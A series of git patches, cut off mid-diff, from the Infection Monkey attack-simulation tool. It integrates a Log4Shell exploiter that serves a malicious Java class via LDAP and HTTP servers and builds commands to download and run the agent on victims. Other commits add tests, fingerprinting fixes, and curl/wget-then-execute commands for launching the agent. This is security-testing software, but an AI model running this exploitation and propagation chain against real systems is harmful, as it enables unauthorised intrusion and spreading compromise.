From 36e01ae472c6ded1bdd0f682c9fc227832dba03c Mon Sep 17 00:00:00 2001 From: Shreya Malviya <shreya.malviya@gmail.com> Date: Mon, 28 Feb 2022 14:16:52 +0530 Subject: [PATCH 01/25] Agent: Return ExploiterResultData from Log4ShellExploiter's _exploit_host() --- monkey/infection_monkey/exploit/log4shell.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index de2d2ace2..b917099e7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -24,6 +24,7 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData logger = logging.getLogger(__name__) @@ -52,14 +53,15 @@ class Log4ShellExploiter(WebRCE): int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) ] - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: if not self._open_ports: logger.info("Could not find any open web ports to exploit") - return False + return self.exploit_result self._start_servers() try: - return self.exploit(None, None) + self.exploit(None, None) + return self.exploit_result finally: self._stop_servers() @@ -137,7 +139,7 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def exploit(self, url, command) -> bool: + def exploit(self, url, command) -> None: # Try to exploit all services, # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): @@ -156,9 +158,8 @@ class Log4ShellExploiter(WebRCE): "port": port, } self.exploit_info["vulnerable_urls"].append(url) - return True - - return False + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: victim_called_back = False From 896bcfebea07c44cdaa08e7dbaf8c8c4313a7510 Mon Sep 17 00:00:00 2001 From: Shreya Malviya <shreya.malviya@gmail.com> Date: Mon, 28 Feb 2022 14:26:12 +0530 Subject: [PATCH 02/25] Agent: Load Log4ShellExploiter into puppet --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index db0ba58c7..7ca8889aa 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -46,6 +46,7 @@ from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers +from monkey.infection_monkey.exploit.log4shell import Log4ShellExploiter logger = logging.getLogger(__name__) @@ -213,6 +214,9 @@ class InfectionMonkey: puppet.load_plugin( "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER ) + puppet.load_plugin( + "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From 3cd3d661bff298cfe729c50cc31323f3a4c3bbb8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya <shreya.malviya@gmail.com> Date: Wed, 2 Mar 2022 15:35:06 +0530 Subject: [PATCH 03/25] Agent: Create HTTP handler class dynamically for ExploitClassHTTPServer --- .../exploit_class_http_server.py | 58 +++++++++---------- 1 file changed, 28 insertions(+), 30 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 612bda270..5fc6521bd 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -7,38 +7,36 @@ logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 -# If we need to run multiple HTTP servers in parallel, we'll need to either: -# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable -# 2. Create a metaclass and define the handler class dymanically at runtime -class HTTPHandler(http.server.BaseHTTPRequestHandler): +def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return - java_class: bytes - class_downloaded: threading.Event - download_lock: threading.Lock + self.class_downloaded.set() - @classmethod - def initialize(cls, java_class: bytes, class_downloaded: threading.Event): - cls.java_class = java_class - cls.class_downloaded = class_downloaded - cls.download_lock = threading.Lock() + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) - def do_GET(self): - with HTTPHandler.download_lock: - if HTTPHandler.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - HTTPHandler.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) +def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event): + return type( + "http_handler_class", + (http.server.BaseHTTPRequestHandler,), + { + "java_class": java_class, + "class_downloaded": class_downloaded, + "download_lock": threading.Lock(), + "do_GET": do_GET, + }, + ) class ExploitClassHTTPServer: @@ -62,9 +60,9 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - HTTPHandler.initialize(java_class, self._class_downloaded) + http_handler_class = get_new_http_handler_class(java_class, self._class_downloaded) - self._server = http.server.HTTPServer((ip, port), HTTPHandler) + self._server = http.server.HTTPServer((ip, port), http_handler_class) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` From 7739094cfd24549a13a0de9ceefff8b3def2b389 Mon Sep 17 00:00:00 2001 From: Shreya Malviya <shreya.malviya@gmail.com> Date: Wed, 2 Mar 2022 16:36:15 +0530 Subject: [PATCH 04/25] UT: Fix test function name's spelling --- .../exploit/log4shell_utils/test_exploit_class_http_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index b22ef41da..9bb21c5cb 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -46,7 +46,7 @@ def test_only_single_download_allowed(exploit_url, java_class): assert response_2.content != java_class -def test_exploit_class_downloded(server, exploit_url): +def test_exploit_class_downloaded(server, exploit_url): assert not server.exploit_class_downloaded() requests.get(exploit_url) From 1ca9a21d43e2fecd2e2d6e34be13d4531c98b804 Mon Sep 17 00:00:00 2001 From: Shreya Malviya <shreya.malviya@gmail.com> Date: Wed, 2 Mar 2022 16:45:48 +0530 Subject: [PATCH 05/25] UT: Add test for thread-safety of ExploitClassHTTPServer --- .../test_exploit_class_http_server.py | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index 9bb21c5cb..3675a7d53 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -30,6 +30,16 @@ def server(ip, port, java_class): server.stop() +@pytest.fixture +def second_server(ip, java_class): + server = ExploitClassHTTPServer(ip, get_free_tcp_port(), java_class, 0.01) + server.run() + + yield server + + server.stop() + + @pytest.fixture def exploit_url(ip, port): return f"http://{ip}:{port}/Exploit" @@ -52,3 +62,13 @@ def test_exploit_class_downloaded(server, exploit_url): requests.get(exploit_url) assert server.exploit_class_downloaded() + + +def test_thread_safety(server, second_server, exploit_url): + assert not server.exploit_class_downloaded() + assert not second_server.exploit_class_downloaded() + + requests.get(exploit_url) + + assert server.exploit_class_downloaded() + assert not second_server.exploit_class_downloaded() From 8a6a820d1462fe09bddd218ae17ca8311c28bead Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Wed, 2 Mar 2022 14:12:52 -0500 Subject: [PATCH 06/25] Agent: Use a random, secure /tmp directory for "monkey_dir" --- monkey/infection_monkey/utils/monkey_dir.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index c705c233f..7f74f9158 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -1,16 +1,20 @@ -import os import shutil import tempfile -MONKEY_DIR_NAME = "monkey_dir" +MONKEY_DIR_PREFIX = "monkey_dir_" +_monkey_dir = None +# TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or +# tempfile.mkftemp() if they need to. def create_monkey_dir(): """ Creates directory for monkey and related files """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) + global _monkey_dir + + _monkey_dir = tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir()) + return _monkey_dir def remove_monkey_dir(): @@ -26,4 +30,4 @@ def remove_monkey_dir(): def get_monkey_dir_path(): - return os.path.join(tempfile.gettempdir(), MONKEY_DIR_NAME) + return _monkey_dir From 7e957e53102c7728cbafc0dbb2bbe5c5e9fec8ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Wed, 2 Mar 2022 14:22:34 -0500 Subject: [PATCH 07/25] Agent: Create temporary monkey directory in monkey.py --- monkey/infection_monkey/monkey.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7ca8889aa..868972ad2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import ( ) from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter +from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster @@ -43,10 +44,13 @@ from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.aws_environment_check import run_aws_environment_check from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_dir import ( + create_monkey_dir, + get_monkey_dir_path, + remove_monkey_dir, +) from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers -from monkey.infection_monkey.exploit.log4shell import Log4ShellExploiter logger = logging.getLogger(__name__) @@ -145,6 +149,8 @@ class InfectionMonkey: def _setup(self): logger.debug("Starting the setup phase.") + create_monkey_dir() + if firewall.is_enabled(): firewall.add_firewall_rule() From 031cafbe120456328f803456a4180004b8701709 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Wed, 2 Mar 2022 14:23:34 -0500 Subject: [PATCH 08/25] Agent: Refactor Log4ShellExploiter to work with Puppet --- monkey/infection_monkey/exploit/log4shell.py | 58 +++++++++----------- 1 file changed, 26 insertions(+), 32 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b917099e7..bfc0b4b46 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -13,18 +13,13 @@ from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.i_puppet.i_puppet import ExploiterResultData from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT -from infection_monkey.model import ( - DROPPER_ARG, - LOG4SHELL_LINUX_COMMAND, - LOG4SHELL_WINDOWS_COMMAND, - VictimHost, -) +from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path -from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData logger = logging.getLogger(__name__) @@ -38,9 +33,24 @@ class Log4ShellExploiter(WebRCE): 5 # Max time agent will wait for the response from victim in SECONDS ) - def __init__(self, host: VictimHost): - super().__init__(host) + def _exploit_host(self) -> ExploiterResultData: + self._open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + if not self._open_ports: + logger.info("Could not find any open web ports to exploit") + return self.exploit_result + + self._configure_servers() + self._start_servers() + try: + self.exploit(None, None) + return self.exploit_result + finally: + self._stop_servers() + + def _configure_servers(self): self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -49,29 +59,15 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None self._agent_http_server_thread = None - self._open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - - def _exploit_host(self) -> ExploiterResultData: - if not self._open_ports: - logger.info("Could not find any open web ports to exploit") - return self.exploit_result - - self._start_servers() - try: - self.exploit(None, None) - return self.exploit_result - finally: - self._stop_servers() def _start_servers(self): + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + # Start http server, to serve agent to victims - paths = self.get_monkey_paths() - agent_http_path = self._start_agent_http_server(paths) + agent_http_path = self._start_agent_http_server(dropper_target_path) # Build agent execution command - command = self._build_command(paths["dest_path"], agent_http_path) + command = self._build_command(dropper_target_path, agent_http_path) # Start http server to serve malicious java class to victim self._start_class_http_server(command) @@ -79,10 +75,10 @@ class Log4ShellExploiter(WebRCE): # Start ldap server to redirect ldap query to java class server self._start_ldap_server() - def _start_agent_http_server(self, agent_paths: dict) -> str: + def _start_agent_http_server(self, dropper_target_path) -> str: # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.try_create_locked_transfer( - self.host, agent_paths["src_path"] + self.host, dropper_target_path, self.agent_repository ) self._agent_http_server_thread = http_thread return http_path @@ -118,9 +114,7 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path - ) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, location=path) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND else: From 454b038948fc39180340205ca5bd9ea3cd404a6b Mon Sep 17 00:00:00 2001 From: vakaris_zilius <vakarisz@yahoo.com> Date: Thu, 3 Mar 2022 09:25:56 +0000 Subject: [PATCH 09/25] Monkey: fix a bug where incorrect windows type string results in key error in pre_exploit() --- monkey/infection_monkey/exploit/web_rce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 4473a24f5..8ef23acc0 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -116,7 +116,7 @@ class WebRCE(HostExploiter): if not self.monkey_target_paths: self.monkey_target_paths = { "linux": self.options["dropper_target_path_linux"], - "win64": self.options["dropper_target_path_win_64"], + "windows": self.options["dropper_target_path_win_64"], } self.HTTP = [str(port) for port in self.options["http_ports"]] super().pre_exploit() From 08aac019d8c26cb3b40c2102eda3c97a8953ec7d Mon Sep 17 00:00:00 2001 From: vakaris_zilius <vakarisz@yahoo.com> Date: Thu, 3 Mar 2022 14:08:25 +0000 Subject: [PATCH 10/25] Agent: Fix false negatives in HTTPFingerprinter --- .../network_scanning/http_fingerprinter.py | 39 +++++++++++-------- .../test_http_fingerprinter.py | 14 ++++--- 2 files changed, 30 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py index 8ececc72a..f5dcfac64 100644 --- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -1,8 +1,8 @@ import logging from contextlib import closing -from typing import Dict, Iterable, Optional, Set, Tuple +from typing import Dict, Iterable, Optional, Set, Tuple, Any -from requests import head +from requests import head, Response from requests.exceptions import ConnectionError, Timeout from infection_monkey.i_puppet import ( @@ -25,11 +25,11 @@ class HTTPFingerprinter(IFingerprinter): """ def get_host_fingerprint( - self, - host: str, - _: PingScanData, - port_scan_data: Dict[int, PortScanData], - options: Dict, + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: services = {} http_ports = set(options.get("http_ports", [])) @@ -55,22 +55,27 @@ def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], O https = f"https://{host}:{port}" for url, ssl in ((https, True), (http, False)): # start with https and downgrade - server_header_contents = _get_server_from_headers(url) + server_header = _get_server_from_headers(url) - if server_header_contents is not None: - return (server_header_contents, ssl) + if server_header is not None: + return server_header, ssl - return (None, None) + return None, None def _get_server_from_headers(url: str) -> Optional[str]: + headers = _get_http_headers(url) + if headers: + return headers.get("Server", "") + + return None + + +def _get_http_headers(url: str) -> Optional[Dict[str, Any]]: try: logger.debug(f"Sending request for headers to {url}") - with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - server = req.headers.get("Server") - - logger.debug(f'Got server string "{server}" from {url}') - return server + with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123 + return response.headers except Timeout: logger.debug(f"Timeout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us @@ -80,7 +85,7 @@ def _get_server_from_headers(url: str) -> Optional[str]: def _get_open_http_ports( - allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] ) -> Iterable[int]: open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) return (port for port in open_ports if port in allowed_http_ports) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 8baa97782..20a320048 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -7,25 +7,27 @@ from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprint OPTIONS = {"http_ports": [80, 443, 8080, 9200]} -PYTHON_SERVER_HEADER = "SimpleHTTP/0.6 Python/3.6.9" -APACHE_SERVER_HEADER = "Apache/Server/Header" +PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"} +APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"} +NO_SERVER_HEADER = {"Not_Server": "No Header for you"} SERVER_HEADERS = { "https://127.0.0.1:443": PYTHON_SERVER_HEADER, "http://127.0.0.1:8080": APACHE_SERVER_HEADER, + "http://127.0.0.1:1080": NO_SERVER_HEADER, } @pytest.fixture -def mock_get_server_from_headers(): - return MagicMock(side_effect=lambda port: SERVER_HEADERS.get(port, None)) +def mock_get_http_headers(): + return MagicMock(side_effect=lambda url: SERVER_HEADERS.get(url, None)) @pytest.fixture(autouse=True) -def patch_get_server_from_headers(monkeypatch, mock_get_server_from_headers): +def patch_get_http_headers(monkeypatch, mock_get_http_headers): monkeypatch.setattr( "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers", - mock_get_server_from_headers, + mock_get_http_headers, ) From 4408601332d66593b5ca20544f3e264cfac30496 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 09:18:54 -0500 Subject: [PATCH 11/25] UT: Add unit test for missing server header in valid http response --- .../test_http_fingerprinter.py | 56 ++++++++++++------- 1 file changed, 37 insertions(+), 19 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py index 20a320048..dde307506 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_http_fingerprinter.py @@ -5,7 +5,7 @@ import pytest from infection_monkey.i_puppet import PortScanData, PortStatus from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter -OPTIONS = {"http_ports": [80, 443, 8080, 9200]} +OPTIONS = {"http_ports": [80, 443, 1080, 8080, 9200]} PYTHON_SERVER_HEADER = {"Server": "SimpleHTTP/0.6 Python/3.6.9"} APACHE_SERVER_HEADER = {"Server": "Apache/Server/Header"} @@ -26,7 +26,7 @@ def mock_get_http_headers(): @pytest.fixture(autouse=True) def patch_get_http_headers(monkeypatch, mock_get_http_headers): monkeypatch.setattr( - "infection_monkey.network_scanning.http_fingerprinter._get_server_from_headers", + "infection_monkey.network_scanning.http_fingerprinter._get_http_headers", mock_get_http_headers, ) @@ -36,7 +36,7 @@ def http_fingerprinter(): return HTTPFingerprinter() -def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter): +def test_no_http_ports_open(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), @@ -45,10 +45,10 @@ def test_no_http_ports_open(mock_get_server_from_headers, http_fingerprinter): } http_fingerprinter.get_host_fingerprint("127.0.0.1", None, port_scan_data, OPTIONS) - assert not mock_get_server_from_headers.called + assert not mock_get_http_headers.called -def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprinter): +def test_fingerprint_only_port_443(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), @@ -59,18 +59,18 @@ def test_fingerprint_only_port_443(mock_get_server_from_headers, http_fingerprin "127.0.0.1", None, port_scan_data, OPTIONS ) - assert mock_get_server_from_headers.call_count == 1 - mock_get_server_from_headers.assert_called_with("https://127.0.0.1:443") + assert mock_get_http_headers.call_count == 1 + mock_get_http_headers.assert_called_with("https://127.0.0.1:443") assert fingerprint_data.os_type is None assert fingerprint_data.os_version is None assert len(fingerprint_data.services.keys()) == 1 - assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"] assert fingerprint_data.services["tcp-443"]["data"][1] is True -def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprinter): +def test_open_port_no_http_server(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 123: PortScanData(123, PortStatus.OPEN, "", "tcp-123"), @@ -81,16 +81,16 @@ def test_open_port_no_http_server(mock_get_server_from_headers, http_fingerprint "127.0.0.1", None, port_scan_data, OPTIONS ) - assert mock_get_server_from_headers.call_count == 2 - mock_get_server_from_headers.assert_any_call("https://127.0.0.1:9200") - mock_get_server_from_headers.assert_any_call("http://127.0.0.1:9200") + assert mock_get_http_headers.call_count == 2 + mock_get_http_headers.assert_any_call("https://127.0.0.1:9200") + mock_get_http_headers.assert_any_call("http://127.0.0.1:9200") assert fingerprint_data.os_type is None assert fingerprint_data.os_version is None assert len(fingerprint_data.services.keys()) == 0 -def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter): +def test_multiple_open_ports(mock_get_http_headers, http_fingerprinter): port_scan_data = { 80: PortScanData(80, PortStatus.CLOSED, "", "tcp-80"), 443: PortScanData(443, PortStatus.OPEN, "", "tcp-443"), @@ -100,16 +100,34 @@ def test_multiple_open_ports(mock_get_server_from_headers, http_fingerprinter): "127.0.0.1", None, port_scan_data, OPTIONS ) - assert mock_get_server_from_headers.call_count == 3 - mock_get_server_from_headers.assert_any_call("https://127.0.0.1:443") - mock_get_server_from_headers.assert_any_call("https://127.0.0.1:8080") - mock_get_server_from_headers.assert_any_call("http://127.0.0.1:8080") + assert mock_get_http_headers.call_count == 3 + mock_get_http_headers.assert_any_call("https://127.0.0.1:443") + mock_get_http_headers.assert_any_call("https://127.0.0.1:8080") + mock_get_http_headers.assert_any_call("http://127.0.0.1:8080") assert fingerprint_data.os_type is None assert fingerprint_data.os_version is None assert len(fingerprint_data.services.keys()) == 2 - assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER + assert fingerprint_data.services["tcp-443"]["data"][0] == PYTHON_SERVER_HEADER["Server"] assert fingerprint_data.services["tcp-443"]["data"][1] is True - assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER + assert fingerprint_data.services["tcp-8080"]["data"][0] == APACHE_SERVER_HEADER["Server"] assert fingerprint_data.services["tcp-8080"]["data"][1] is False + + +def test_server_missing_from_http_headers(mock_get_http_headers, http_fingerprinter): + port_scan_data = { + 1080: PortScanData(1080, PortStatus.OPEN, "", "tcp-1080"), + } + fingerprint_data = http_fingerprinter.get_host_fingerprint( + "127.0.0.1", None, port_scan_data, OPTIONS + ) + + assert mock_get_http_headers.call_count == 2 + + assert fingerprint_data.os_type is None + assert fingerprint_data.os_version is None + assert len(fingerprint_data.services.keys()) == 1 + + assert fingerprint_data.services["tcp-1080"]["data"][0] == "" + assert fingerprint_data.services["tcp-1080"]["data"][1] is False From 9af6c3bed19a0862c1309392ed139048e66ecb36 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 09:37:17 -0500 Subject: [PATCH 12/25] Agent: Suppress debug logging of urllib3 urllib3 debug logs are unnecessarily verbose for our purposes. Setting the log level of urllib3 to debug unclutters the logs and makes debugging simpler. --- monkey/infection_monkey/master/automated_master.py | 4 ++++ monkey/infection_monkey/monkey.py | 1 + 2 files changed, 5 insertions(+) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index ceb66e3b9..bf2e11132 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -90,6 +90,10 @@ class AutomatedMaster(IMaster): logger.warning("Forcefully killing the simulation") def _wait_for_master_stop_condition(self): + logger.debug( + "Checking for the stop signal from the island every " + f"{CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC} seconds." + ) timer = Timer() timer.set(CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 868972ad2..261ed16ff 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -53,6 +53,7 @@ from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers logger = logging.getLogger(__name__) +logging.getLogger("urllib3").setLevel(logging.INFO) class InfectionMonkey: From b20abad0b6bdc574cbe40c005fa46a5cf8df5ec0 Mon Sep 17 00:00:00 2001 From: vakarisz <vakarisz@yahoo.com> Date: Thu, 3 Mar 2022 17:42:10 +0200 Subject: [PATCH 13/25] Island: change manual run commands to target /os download endpoints Now monkey agents are downloaded not by name, but by os, so url's had to change --- .../components/pages/RunMonkeyPage/commands/local_linux_curl.js | 2 +- .../components/pages/RunMonkeyPage/commands/local_linux_wget.js | 2 +- .../pages/RunMonkeyPage/commands/local_windows_powershell.js | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js index ceaeab393..6daf29f18 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -1,5 +1,5 @@ export default function generateLocalLinuxCurl(ip, username) { - let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k ` + let command = `curl https://${ip}:5000/api/monkey/download/linux -k ` + `-o monkey-linux-64; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index 0540540e7..9e67681d1 100644 --- 